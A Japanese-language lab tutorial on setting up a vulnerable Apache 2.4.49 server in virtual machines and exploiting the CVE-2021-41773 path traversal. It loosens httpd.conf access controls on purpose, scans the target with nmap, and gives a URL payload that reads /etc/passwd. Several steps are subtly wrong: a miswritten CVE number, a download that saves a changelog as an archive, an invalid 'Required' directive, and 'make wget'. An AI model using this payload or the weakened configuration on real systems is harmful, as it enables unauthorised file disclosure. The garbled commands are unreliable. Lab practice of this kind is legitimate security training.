
脆弱なApache 2.4.49環境をセットアップし、Kali LinuxとUbuntu Server VMを使用してCVE-2021-41773パストラバーサルを悪用する方法を段階的に示すチュートリアル。
これは、仮想マシンを使用して脆弱性CVE-2021-4773を悪用する方法の練習例です。
このチュートリアルには以下が必要です。
それでは始めましょう。 2台の仮想マシンが実行されている状態で、アーカイブリポジトリからApacheバージョン2.4.49をインストールします。 このバージョンは以下で入手できます。 https://archive.apache.org/dist/httpd/CHANGES_2.4.49
1 まず仮想マシンサーバーで以下のコマンドを実行します。
curl -k -L -s --compressed https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2 or wget https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2
2 次に、Apacheからこのバージョンを解凍します。
tar -xvjf httpd-2.4.49.tar.bz2
3 以下のパッケージをインストールします。
sudo apt install build-essential libpcre3 libpcre3-dev libapr1-dev libaprutil1-dev libssl-dev
4 メインディレクトリにある実行ファイル(ファイル名 configure)を実行し、フラグを使用してインストールディレクトリを指定します。
./configure --prefix=/usr/local/apache2
5 脆弱性バージョンをコンパイルします。
make
6 脆弱性バージョンをインストールします。
make install
7 バージョンを確認します。
ls /usr/local/apache2
8 プロセスを開始します。
/usr/local/apache2/bin/apachectl start
9 プロセスを確認します。
ps aux | grep httpd
10 脆弱性を設定します。 ファイル /usr/local/apache2/conf/httpd.conf を見つけて、admin ディレクトリを設定します。 directory タグを見つけて、Require all denied を次のように変更します。
Required all granted
Files .ht* タグを見つけて、Require all denied を次のように変更します。
Required all granted
最初の変更はローカル環境での脆弱性の悪用のためであり、2番目は実際の環境での露出のためです。
1 次のコマンドでnmapを使用してIPアドレスをスキャンします。
nmap -sV ip_address
2 curl または wget を使用してApacheサーバーをテストします。
curl ip_address or make wget ip_address
3 構文を理解したい場合は、次のページで脆弱性の悪用方法を確認してください。
https://www.picussecurity.com/resource/blog/simulate-apache-cve-2021-41773-exploits-vulnerability
または、次のペイロードを使用します。
http://$host/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd